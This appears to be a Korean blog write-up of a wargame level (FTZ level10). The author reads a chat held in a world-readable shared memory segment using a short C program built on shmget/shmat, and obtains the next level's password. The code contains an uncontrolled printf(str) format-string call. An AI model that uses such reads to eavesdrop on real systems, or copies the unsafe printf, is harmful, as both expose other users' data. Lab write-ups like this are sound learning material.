728x90
[level10@ftz level10]$ cat hint
두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며,
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여
level11의 권한을 얻어라.
- 레벨을 완료하셨다면 소스는 지우고 나가주세요.
공유 메모리에 접근해서 데이터를 읽어오면 된다.
각 프로세스는 메모리에 자신들의 code, data, heap, stack을 가진다.
공유 메모리는 말 그대로 프로세스들이 공유하는 메모리다.
[level10@ftz tmp]$ ipcs -m
------ Shared Memory Segments --------
key shmid owner perms bytes nattch status
0x00001d6a 0 root 666 1028 0
key 값이 7530인 공유 메모리가 존재함을 알 수 있다.
구글링해서 공유 메모리에 접근하는 방법을 알아냈다.
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <stdio.h>
int main(){
int id=shmget(7530,1028,IPC_CREAT|0666);
char* str=(char*)shmat(id,NULL,SHM_RDONLY);
printf(str);
}
shmget은 공유메모리의 id를 구하는 함수다.
shmat는 id에 해당하는 공유 메모리의 주소를 알려준다.
shmget(), shmat(), shmdt() - 공유메모리 공간 할당/첨부/분리
리눅스에서 공유메모리를 출력해주는 명령어 ipcs -m: ■ 개념 공유메모리는 단어 뜻에서 알 수 있듯이 하나의 프로세스에서가 아니라 여러 프로세스가 함께 사용하는 메모리를 말한다. 이 공유
unabated.tistory.com
위의 링크를 참조했다.
위의 코드를 컴파일하면 level11의 비밀번호가 나온다.
[level10@ftz tmp]$ gcc test.c
[level10@ftz tmp]$ ./a.out
멍멍: level11의 패스워드는?
구타: what!@#$?
728x90